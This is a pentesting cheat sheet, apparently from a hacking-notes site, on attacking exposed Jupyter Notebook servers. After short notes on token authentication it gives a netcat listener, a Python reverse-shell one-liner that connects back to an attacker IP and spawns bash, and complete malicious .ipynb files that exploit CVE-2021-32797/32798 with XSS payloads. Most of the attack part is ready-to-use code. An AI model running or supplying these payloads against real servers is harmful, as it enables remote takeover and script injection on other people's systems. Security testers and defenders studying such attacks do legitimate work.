# Jupyter Notebook Pentesting

Jupyter notebook is a web-based interactive computing platform. It’s often used for machine learning, data science, etc. It runs locally at 127.0.0.1:8888 by default.

### Run Notebook Server Locally <a href="#run-notebook-server-locally" id="run-notebook-server-locally"></a>

```shellscript
# For Jupyterlab (more advanced than notebook)
pip install jupyterlab
jupyter-lab
# Specify the token
jupyter-lab --NotebookApp.token=abcdef...

# For Notebook (classic)
pip install notebook
jupyter notebook
# Specify the token
jupyter notebook --NotebookApp.token=abcdef...
```

After that, we can access to `http://127.0.0.1:8888/` in browser.

### Authorization with Token <a href="#authorization-with-token" id="authorization-with-token"></a>

Reference: <https://jupyter-notebook.readthedocs.io/en/stable/security.html>

If we have the token for Jupyter notebook server, we can authorize it by adding the token in the “Authorization” HTTP header.

```shellscript
Authorization: token abcdef...
```

Or we can also add the token to URL parameter.

```shellscript
https://my-notebook/tree/?token=abcdef...
```

Or directly input the login form.

### Common Directories <a href="#common-directories" id="common-directories"></a>

```shellscript
/api/kernelspecs
```

### Remote Code Execution (RCE) <a href="#remote-code-execution-rce" id="remote-code-execution-rce"></a>

If the target machine opens the Jupyter notebook server then we can access to it from outside, we can simply execute arbitrary Python script in notebook. In short, we can get a shell by reverse shell!\
First off, start a listener in local machine.

```shellscript
nc -lvnp 4444
```

After that, open some **`.ipynb`** file in Jupyter notebook top page, then input the following script and run.

```shellscript
import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")
```

We should get a shell in local terminal.

### .ipynb RCE (**CVE-2021-32797, CVE-2021-32798)** <a href="#ipynb-rce-cve-2021-32797-cve-2021-32798" id="ipynb-rce-cve-2021-32797-cve-2021-32798"></a>

Reference: <https://github.com/google/security-research/security/advisories/GHSA-c469-p3jp-2vhx>

We can inject arbitrary code in `.ipynb` file. Create the following file e.g. “exploit.ipynb” then upload it to Jupyter Notebook directory.

* **Jupyter Notebook**

```shellscript
{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<select><iframe></select><img src=x: onerror=alert('xss')>\n"],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    ""
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
```

* **Jupyter Lab**

```shellscript
{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<label for=buttonid style=\"cursor: text\">not safe to click here</label>\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "highlighter": "codemirror"
   },
   "source": "<div class=\"jp-InputArea-editor\"><div class=\"CodeMirror cm-s-jupyter\"><div class=\"CodeMirror-scroll\"><div class=\"CodeMirror-sizer\"><div style=\"top:0px; position:relative\"><div class=\"CodeMirror-lines\"><div style=\"outline:none; position:relative\"><div class=\"CodeMirror-code\"><div style=\"position: relative\"><label for=buttonid style=\"cursor: text\"><pre class=\"CodeMirror-line\" style=\"background:transparent\"><span style=\"padding-right: 0.1px\"><span class=\"cm-builtin\">print</span>(<span class=\"cm-string\">&quot;Also not safe to click here&quot;</span>)</span></pre></label></div></div></div></div></div></div></div></div></div>"
  },
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {
    "xrender": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<form id=jp-mk-edit action='javascript:alert(1)' style='display:none'><button type=submit id=buttonid></form>\n"
      ],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": ""
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
```
